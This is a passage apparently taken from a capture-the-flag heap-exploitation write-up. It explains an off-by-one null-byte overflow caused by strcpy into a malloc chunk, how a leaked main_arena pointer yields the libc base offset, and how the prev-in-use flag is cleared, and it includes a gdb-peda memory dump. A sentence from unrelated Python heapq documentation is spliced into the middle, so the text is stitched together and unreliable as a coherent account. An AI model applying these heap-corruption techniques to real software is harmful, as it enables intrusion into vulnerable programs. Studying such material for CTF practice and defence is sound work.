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The actual problem arises on lines 71-72 when a chunk with size bytes is created by the call to malloc and the function strcpy is used to copy the data from buf to this newly created chunk (ptrs[idx]). Since strcpy also copies the terminating null-byte this may overflow the heap-chunk.Push item on the heap, then pop and return the smallest item from the heap. The combined action runs more efficiently than heappush() followed by a separate call to heappop().The libc_offset is the offset from the leaked address to the libc base address. In this case we leaked the FD pointer of a free’d chunk. This address points to the main_arena within the libc. The easiest way to determine the offset is to simply run the binary in gdb and subtract the libc base address (which can be viewed using “i proc mappings”) from the leaked value. Though the leaked value varies on every execution (ASLR), the offset will stay the same.When we are overflowing chunk1 now, the size of chunk2 (0x100) is not altered, since it is only stored within the second lowest byte. The only thing being altered is the previous chunk in use flag, which is set from 0x1 to 0x0. This means that we can clear the flag without corrupting any other heap-metadata.Also if you are reading this: on tcached version on libc which was introduced in glibc 2.26, you won’t see the leak doing exact same steps (some improvements needed), but anyways it is a great “off-by-one” example. gdb-peda$ p main_arena $1 = { mutex = 0x0, flags = 0x0, fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x604110, 0x0, 0x0, 0x0, 0x0}, top = 0x6042a0, last_remainder = 0x604120, bins = {0x604010, 0x604010, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b88 <main_arena+104>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1b98 <main_arena+120>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1ba8 <main_arena+136>, 0x7ffff7dd1bb8 <main_arena+152>, 0x7ffff7dd1bb8 <main_arena+152>, ... This means our fastbin currenty looks like this:

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